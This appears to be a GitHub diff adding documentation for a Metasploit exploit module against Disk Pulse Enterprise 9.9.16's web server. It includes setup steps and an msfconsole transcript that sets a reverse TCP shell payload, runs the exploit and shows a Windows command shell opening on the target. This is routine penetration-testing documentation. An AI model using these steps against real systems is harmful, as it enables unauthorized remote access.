File tree Expand file tree Collapse file tree 1 file changed +55
-0
lines changed
documentation/modules/exploit/windows/http Expand file tree Collapse file tree 1 file changed +55
-0
lines changed Original file line number Diff line number Diff line change
1
+ ## Vulnerable Application
2
+
3
+ Tested on Windows 7 x64 and x86.
4
+
5
+ Install the application from the link below and enable the web server by going to Options -> Server -> Enable Web Server on Port.
6
+
7
+ [ Disk Pulse Enterprise v 9.9.16] ( https://www.exploit-db.com/apps/45ce22525c87c0762f6e467db6ddfcbc-diskpulseent_setup_v9.9.16.exe )
8
+
9
+ ## Verification Steps
10
+
11
+ 1 . Install the application and set the option above to enable the web server
12
+ 2 . Start msfconsole
13
+ 3 . Do: ``` use exploit/windows/http/disk_pulse_enterprise_get ```
14
+ 5 . Set options and payload
15
+ 6 . Do: ``` run ```
16
+ 7 . You should get a shell.
17
+
18
+ ## Options
19
+
20
+ ** RHOST**
21
+
22
+ IP address of the remote host running the server.
23
+
24
+ ** RPORT**
25
+
26
+ Port that the web server is running on. Default is 80 but it can be changed when setting up the program or in the options.
27
+
28
+ ## Scenarios
29
+
30
+ To obtain a shell:
31
+
32
+ ```
33
+ msf > use exploit/windows/http/disk_pulse_enterprise_get
34
+ msf exploit(disk_pulse_enterprise_get) > set payload windows/shell_reverse_tcp
35
+ payload => windows/shell_reverse_tcp
36
+ msf exploit(disk_pulse_enterprise_get) > set RHOST x.x.x.x
37
+ RHOST => x.x.x.x
38
+ msf exploit(disk_pulse_enterprise_get) > set LHOST y.y.y.y
39
+ LHOST => y.y.y.y
40
+ msf exploit(disk_pulse_enterprise_get) > set LPORT 1234
41
+ LPORT => 1234
42
+ msf exploit(disk_pulse_enterprise_get) > set RPORT 8080
43
+ RPORT => 8080
44
+ msf exploit(disk_pulse_enterprise_get) > exploit
45
+
46
+ [*] Started reverse TCP handler on y.y.y.y:1234
47
+ [*] Generating exploit...
48
+ [*] Sending exploit...
49
+ [*] Command shell session 1 opened (y.y.y.y:1234 -> x.x.x.x:64567) at 2017-09-14 10:52:06 -0500
50
+
51
+ Microsoft Windows [Version 6.1.7600]
52
+ Copyright (c) 2009 Microsoft Corporation. All rights reserved.
53
+
54
+ C:\Windows\system32>
55
+ ```
You can’t perform that action at this time.
0 commit comments